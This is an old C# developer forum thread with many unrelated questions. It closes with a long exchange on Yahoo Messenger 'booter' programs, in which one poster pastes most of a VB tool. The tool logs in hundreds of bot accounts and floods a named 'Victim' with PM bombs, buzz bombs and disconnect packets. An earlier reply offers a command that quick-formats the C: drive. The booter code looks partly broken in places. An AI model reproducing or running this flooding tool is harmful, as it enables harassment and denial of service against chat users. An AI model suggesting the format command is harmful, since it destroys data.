|
Hi Marc,
i got it and now the drawing is done fine but still some flickering
is there.
This has also caused one more problem\, Due to this code
now if i type something in the Richtextbox it does not shows the text
instead white spaces are shown
any suggestions to avoid this
Thanks
|
|
|
|
|
I have no experience with RichTextBoxes, only owner-drawn controls, so i dont think i can help you that much. You can try fiddling with the SetStyle flags.
base.Setstyle(ControlStyles.DoubleBuffer | ControlStyles.AllPaintingInWmPaint | ControlStyles.UserPaint, true);
base.Setstyle(ControlStyles.DoubleBuffer, true);
or
base.Setstyle(ControlStyles.DoubleBuffer | ControlStyles.AllPaintingInWmPaint, true);
or
base.Setstyle(ControlStyles.DoubleBuffer | ControlStyles.UserPaint, true); Sorry i can't help you any further...
"..Commit yourself to quality from day one..it's better to do nothing at all than to do something badly.."
-- Mark McCormick || Fold With Us! || Pensieve || VG.Net ||
|
|
|
|
|
i tried all the options but none of them are working for me
Anyways Thanks for the suggestions
Pramod
|
|
|
|
|
Did you try this?
public class MyRichText : RichTextBox
{
public MyRichText()
{
SetStyle(ControlStyles.OptimizedDoubleBuffer, true);
SetStyle(ControlStyles.ResizeRedraw, true);
SetStyle(ControlStyles.Selectable, true);
}
}
Jordan
|
|
|
|
|
I set the connection with fax modem using At commands:
(
at+fclass=1
atdt<tel number="">
at+fth=3
at+fts=8
at+ftm=96
at+fth=3
at+ftm=96
)
and after last command I need sending the page image data. Does anybody know how to send this data by writing to COMport? Which encoding I should use, in what format it should be wroten to COMport?
Thanks
SAns
|
|
|
|
|
Hi,
I had created setup files for the project which i worked on. So the user has to install the setup and run the application. The next time i give him the new setup of the same project, then he'll have to uninstall it from 'Control Pane->Add/Remove Programs'.
Is there a way by which he need not uninstall again and again i give him new setups, but just update it??
please can anyone just help me out here??
|
|
|
|
|
|
Hi!
There's a setting somewhere in the setup project to "check for newer version". You'll also have to increment the version of your project or windows installer will tell you that this particular version is installed already.
Regards,
mav
|
|
|
|
|
I am looking for a way to format a hard drive from an application written in c#. Does anyone know how this is done?
Andres
|
|
|
|
|
You could use Process.Start() to excecute this command:
string formatCommand = "Command.com /C Format /Q /Autotest C:"
_________________________________
Please inform me about my English mistakes, as I'm still trying to learn your language!
|
|
|
|
|
|
not sure but on options of project there is an option to app for being fully trusted or u can check out deployment pattern on http://www.msdn.com patterns&practices section...
Mikail Çetinkaya . The C# DEveloper
|
|
|
|
|
HELLO EVERYBODY.
I'AM NEW WORKING WITH C# BUT I WANT MAKE A HTML EDITOR IN WINDOWS 32 FORMS LIKE 'DREAMWEAVER' OR SOMETHING ABOUT THAT.
SOMEONE KNOW ABOUT ONE OR MORE COM'S OBJECTS FOR DO IT THESE?
THANKS IN ADVANCED
SINCERELY ANTHONY ACUÑA
PREFERED PHRASE:
SOMEBODY TELL ME WHY IS MORE REAL WHEN I DREAM THAT I AM WAKE?
|
|
|
|
|
|
Your caps lock key appears to be broken.
ColinMackay.net
"Man who stand on hill with mouth open will wait long time for roast duck to drop in." -- Confucius
"If a man empties his purse into his head, no man can take it away from him, for an investment in knowledge pays the best interest." -- Joseph E. O'Donnell
|
|
|
|
|
You have to write this yourself. The antique MSHTML control sucks for this and STOP YELLING!
RageInTheMachine9532
"...a pungent, ghastly, stinky piece of cheese!" -- The Roaming Gnome
|
|
|
|
|
OK IT'S GOOD IDEA FOR START WITH THIS AND I HOPE THAT THIS WILL BE NOT SO MUCH DIFFICULT.
BY THE WAY I DON'T UNDERSTAND WHY EVERY BODY SAY 'DON'T REBUILD THE WHEEL' IF IS NECESSARY START FROM ZERO.
HEHE OK GO TO WORK.
SINCERELY.
ANTHONY ACUÑA
PREFERED PHRASE:
SOMEBODY TELL ME WHY IS MORE REAL WHEN I DREAM THAT I AM WAKE?
|
|
|
|
|
I am drawing a pie chart with the help of Graphics class FillPie method. After drawing this pie how can I get the polygoan coordinates of a specific pie peace?
Thanks in advance for any help.
I would love to change the world, but they won't give me the source code.
|
|
|
|
|
|
Can someone here help me to make and learn Socket programming?
I'm trying too make a program that can Control Port Flooding..When a port gets flooded the socket will Close the port, Establish a New Port (without loosing current connection)...
But not have the Flooding from external applications tag along to the New port that was just opened...
trying to solve a problem with some chat rooms on the internet due to Aka "Booter" Programs that send Packets of information to a persons ID/Username knocking them offline and loading down their computer with Pop up's etc..
Most Firewalls,Chat Clients ect dont really do a good job of being able to control this problem because of the fact that some of these programs will and do target " Back Door Ports" like 1024,1025 etc...
Thxs in Advance for any and all help!!
-- modified at 0:08 Wednesday 11th January, 2006
|
|
|
|
|
|
DocH0liday wrote: I'm trying too make a program that can Control Port Flooding..When a port gets flooded the socket will Close the port, Establish a New Port (without loosing current connection)...
Not possible, even in the slightest part. You have to close the socket to change the port number. This will disconnect the client connection immediately. The client will not have any idea what the new port number is unless you try to tell it over the flooded connection.
You also don't have any access to another applications sockets. You can't close a connection that another application opened.
DocH0liday wrote: Most Firewalls,Chat Clients ect dont really do a good job of being able to control this problem
There's a reason for this! It's not possible to do reliably! How is the firewall going to know, and tell the difference between, good and bad traffic on those ports?
RageInTheMachine9532
"...a pungent, ghastly, stinky piece of cheese!" -- The Roaming Gnome
-- modified at 10:47 Wednesday 11th January, 2006
|
|
|
|
|
Their is a program where you can control the amount of data coming IN and going OUT on your pc...called "NetLimiter" you can control the amount of bandwidth that each application gets...Its not a program thats on the Local computer opening the Port,these Programs are using ports that are Exposed even with a FireWall.Like Ports 1024,1025 etc etc most people dont even know they have exposed ports until they do a really good Port Scan on thier system..These programs people use Exploit these Open Ports that arent Normally Blocked by a FireWall...I have seen and made some of these programs called Booters to learn the problem that chat's have like "Yahoo"...
I'v tested this and found that most of these Booter programs target ports that arent normally Used ,unlike say 80,8080 (Yahoo 5050 Port for Logging in,Voice Ports 5010,5011 etc..)some of these are targeted but for different means like Lagging out a persons Voice Connection to that server..
But in networking thier is a "Keep Connection Alive" while a program establish's a new Port..This would keep that old Port/Connection alive with just a few packets "Ping" Re Establish a new Port...
Dont have too close down the Port completely just enough to only allow a few bytes of data,basically Choke the Connection down to a few Kb/s...
As for what is good data and bad data ..lol thats not even relevant the only thing the program has too see is that a port is being flooded..Example of the flooding is when an external program sends a Massive amount of data all at once like " 2000 to 10,000 packets in a few seconds" <---- Major Port Flooding...lol
This is done by the programs by logging in Hundreds of Bots(aka account like JohnDoe@yahoo.com) now you have a bot for this program..Some of them can hold and log in Thousands & Even Unlimited if that person has a fast enough connection....This is how a port can get flooded by alot of data in a blink of an eye really...
-- modified at 12:41 Wednesday 11th January, 2006
|
|
|
|
|
Yeah, right!
All I can say is "Have Fun!" Because what you're proposing just can't be done, at least with the description that you provided.
Keep Alive's will NOT let you siwtch port numbers with the client reconnecting to the new port. There is a method to do it though. You write a proxy. The client connects to the correct port number on the proxy, then the proxy translates those connections and passes data back and forth between what the client thinks is the correct port and the alternate port number that the application is actually listening on.
Seriously, if you want an example of getting flooded and not being able to do much about it without the routers, go over to Gibson Research and read up on a couple of attacks he's documented. You haven't seen flooded yet...
RageInTheMachine9532
"...a pungent, ghastly, stinky piece of cheese!" -- The Roaming Gnome
|
|
|
|
|
ok let me give a accurate detail of a Booter program since i dont think your completely following me on this...
A booter is a program that sends packets of information to an individual ok, all they need is your Username dosnt matter if your in a chat room or not...If you have a Yahoo Messenger and they have your username they can boot the living snot out of some one..
They get the Packets using CommView,to get the packets you need a 2 way conversation either with a friend etc...As you know CommView will pick up the packets that are sent by the Messenger program...The packets are then modified to be used in the booter program..These packets can range from a Log Off packet,Buzzing some one,Emoticon packets etc..As you know the packets are the bits of information telling the messenger what to do..
A person on the Receiving end can get thousands up message box's, each as you know will use up System Resources for every message box open on the Receivers end...This program does not connect to your IP address what so ever the Username is all that is needed to boot someone..
They type in a username and press a button..and bam they are sending Packets your way...If you need some of the VB6 Code to see what i'm talking about i can provide the code...If you compiled the code you would have a booter program to boot people off of Yahoo..
So here is some of the Code:: This code is updated to "VB 2005"
<code>Option Strict Off
Option Explicit On
Friend Class Form1
Inherits System.Windows.Forms.Form
Dim i As Short
Dim Header As System.Windows.Forms.ColumnHeader
Dim Item As System.Windows.Forms.ListViewItem
Dim x As Short
Private Sub BotsList_SelectedIndexChanged(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles BotsList.SelectedIndexChanged
For Each tsi As ToolStripItem In Me.StatusBar1.Items
If TypeOf tsi Is ToolStripStatusLabel Then
With DirectCast(tsi, ToolStripStatusLabel)
.BorderSides = ToolStripStatusLabelBorderSides.All ' ToolStripStatusLabelBorderSides.Left Or ToolStripStatusLabelBorderSides.Right
.BorderStyle = Border3DStyle.Sunken
End With
End If
Next
On Error Resume Next
For i = 0 To CInt(BotsList.Text)
Socket.Load
YahooID(i) = ListView1.Items.Item(i).SubItems(0).Text
Password(i) = ListView1.Items.Item(i).SubItems(-1).Text
System.Windows.Forms.Application.DoEvents()
Socket(i).Close()
Socket(i).Connect(ServerList.Text, 5050)
If ServerList.SelectedIndex = ServerList.Items.Count + 1 Then
ServerList.SelectedIndex = 1
Else
ServerList.SelectedIndex = ServerList.SelectedIndex + 1
End If
Pause((0.04))
System.Windows.Forms.Application.DoEvents()
Next i
End Sub
Private Sub Command1_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Command1.Click
GotoSite("http://www.google.com")
End Sub
Private Sub Command2_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Command2.Click
On Error Resume Next
For i = 0 To CInt(BotsList.Text)
ListView1.Items(i).ImageIndex = 1
Socket(i).Close()
StatusBar1.Items.Item(0).Text = "0"
StatusBar1.Items.Item(-1).Text = "Status: Logged Out"
Next i
End Sub
Private Sub Command3_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Command3.Click
Dim LTD As String = ""
Dim F As Object
Dim x As Short
If Command3.Text = "Load" Then
Header = ListView1.Columns.Add("", "", CInt(VB6.TwipsToPixelsX(250)))
Header = ListView1.Columns.Add("", "YahooID's", CInt(VB6.TwipsToPixelsX(1900)))
Header = ListView1.Columns.Add("", "", CInt(VB6.TwipsToPixelsX(0)))
F = FreeFile()
With CommonDialog1Open
.FileName = ""
.Title = "Load bots List"
.Filter = "All Supported Types|*.txt"
.ShowDialog()
If .FileName = "" Then Exit Sub
FileOpen(F, .FileName, OpenMode.Input)
While Not EOF(1)
Input(1, LTD)
F = Split(LTD, ":")
If x < 500 Then
Item = ListView1.Items.Add("", 2)
If Item.SubItems.Count > 1 Then
Item.SubItems(1).Text = F(0)
Else
Item.SubItems.Insert(1, New System.Windows.Forms.ListViewItem.ListViewSubItem(Nothing, F(0)))
End If
If Item.SubItems.Count > 2 Then
Item.SubItems(2).Text = F(1)
Else
Item.SubItems.Insert(2, New System.Windows.Forms.ListViewItem.ListViewSubItem(Nothing, F(1)))
End If
x = x + 1
BotsList.Items.Add(CStr(x))
Label4.Text = CStr(CDbl(Label4.Text) +
StatusBar1.Items.Item(1).Text = "Loading....... "
System.Windows.Forms.Application.DoEvents()
End If
End While
FileClose(1)
ListView1.View = System.Windows.Forms.View.Details
End With
Me.Text = "Select How Many Bots To Login"
Pause(1)
x = x + 1
StatusBar1.Items.Item(1).Text = x & " Bots Loaded !!!"
Command3.Text = "Clear"
Command1.Enabled = True
Command2.Enabled = True
Command4.Enabled = True
Command5.Enabled = True
Command6.Enabled = True
Command7.Enabled = True
Command8.Enabled = True
Command9.Enabled = True
Else
BotsList.Items.Clear()
BotsList.Text = "Bots"
ListView1.Items.Clear()
Label4.Text = "0"
Command3.Text = "Load"
End If
End Sub
Private Sub Command4_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Command4.Click
StatusBar1.Items.Item(1).Text = "Sending Pm Bomb"
Timer1.Enabled = True
End Sub
Private Sub Command5_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Command5.Click
StatusBar1.Items.Item(1).Text = "Pm Bomb Stopped"
Timer1.Enabled = False
PacketsLabel.Text = "0"
End Sub
Private Sub Command6_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Command6.Click
StatusBar1.Items.Item(1).Text = "Sending Buzz Bomb"
Timer2.Enabled = True
End Sub
Private Sub Command7_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Command7.Click
StatusBar1.Items.Item(1).Text = "Buzz Bomb Stopped"
Timer2.Enabled = False
PacketsLabel.Text = "0"
End Sub
Private Sub Command8_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Command8.Click
StatusBar1.Items.Item(1).Text = "Sending Dc Packets"
Timer3.Enabled = True
End Sub
Private Sub Command9_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Command9.Click
StatusBar1.Items.Item(1).Text = "Silent Dc Stopped"
Timer3.Enabled = False
PacketsLabel.Text = "0"
End Sub
Private Sub Form1_Load(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles MyBase.Load
MsgBox("This is a sample of 500 login and 3 boot commands to learn by MEAwww")
End Sub
Private Sub Socket_ConnectEvent(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Socket.ConnectEvent
Dim Index As Short = Socket.GetIndex(eventSender)
Socket(Index).SendData(Data(YahooID(Index)))
End Sub
Private Sub Socket_DataArrival(ByVal eventSender As System.Object, ByVal eventArgs As AxMSWinsockLib.DMSWinsockControlEvents_DataArrivalEvent) Handles Socket.DataArrival
Dim Index As Short = Socket.GetIndex(eventSender)
Socket(Index).GetData(Buffer(Index))
Debug.Print(Buffer(Index))
If Mid(Buffer(Index), 12, 1) = "W" Then
Sessionkey(Index) = Mid(Buffer(Index), 17, 4)
ChallengeString(Index) = Mid(Buffer(Index), 30 + Len(YahooID(Index)), Len(Buffer(Index)) - 29)
ChallengeString(Index) = Replace(ChallengeString(Index), "�13�1�", "")
Call GetStrings(YahooID(Index), Password(Index), ChallengeString(Index), Crypt1(Index), Crypt2(Index), 1)
'Pause (0.11)
Socket(Index).SendData(Login(YahooID(Index), Crypt1(Index), Crypt2(Index), Sessionkey(Index)))
'Pause (0.44)
ElseIf Mid(Buffer(Index), 12, 1) = "T" Then
StatusBar1.Items.Item(1).Text = YahooID(Index) & ""
Socket(Index).Close()
ElseIf Mid(Buffer(Index), 12, 1) = "U" Then
ListView1.Items(Index).ImageIndex = 0
Sessionkey(Index) = Mid(Buffer(Index), 17, 4)
StatusBar1.Items.Item(2).Text = CStr(CDbl(StatusBar1.Items.Item(2).Text) + 1)
StatusBar1.Items.Item(1).Text = "Status: " & YahooID(Index) & ""
End If
End Sub
Private Sub Socket_Error(ByVal eventSender As System.Object, ByVal eventArgs As AxMSWinsockLib.DMSWinsockControlEvents_ErrorEvent) Handles Socket.Error
Dim Index As Short = Socket.GetIndex(eventSender)
StatusBar1.Items.Item(1).Text = "Status: Error"
Socket(Index).Close()
End Sub
Private Sub Timer1_Tick(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Timer1.Tick
Dim i As Short
For i = 0 To CDbl(BotsList.Text) - 1
PacketsLabel.Text = CStr(CDbl(PacketsLabel.Text) + 1
If Socket(i).CtlState = MSWinsockLib.StateConstants.sckConnected Then Socket(i).SendData(PM(YahooID(i), (Victim.Text)))
End If
Next i
i = i + 1
End Sub
Private Sub Timer2_Tick(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Timer2.Tick
Dim i As Short
For i = 0 To CDbl(BotsList.Text) - 1
PacketsLabel.Text = CStr(CDbl(PacketsLabel.Text) + 1)
If Socket(i).CtlState = MSWinsockLib.StateConstants.sckConnected Then Socket(i).SendData(Buzz(YahooID(i), (Victim.Text)))
End If
Next i
i = i + 1
End Sub
Private Sub Timer3_Tick(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Timer3.Tick
Dim i As Short
For i = 0 To CDbl(BotsList.Text) - 1
PacketsLabel.Text = CStr(CDbl(PacketsLabel.Text) + 1)
If Socket(i).CtlState = MSWinsockLib.StateConstants.sckConnected Then Socket(i).SendData(Dc(YahooID(i), (Victim.Text)))
End If
Next i
i = i + 1
End Sub
Private Sub Victim_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Victim.Click
Victim.Text = ""
End Sub
End Class</code>
[b] so this "Code" should give you a better idea,its not all thier so if you need the code for the LogIn etc let me know.Maybe with the code you can get a better idea of what i'm trying to get across,thiers a Module for the Login etc and a module for the Packets..[/b]
Maybe thiers a way to solve this ,Maybe theirs not but I think thier should be away some how...
-- modified at 20:21 Wednesday 11th January, 2006
|
|
|
|
|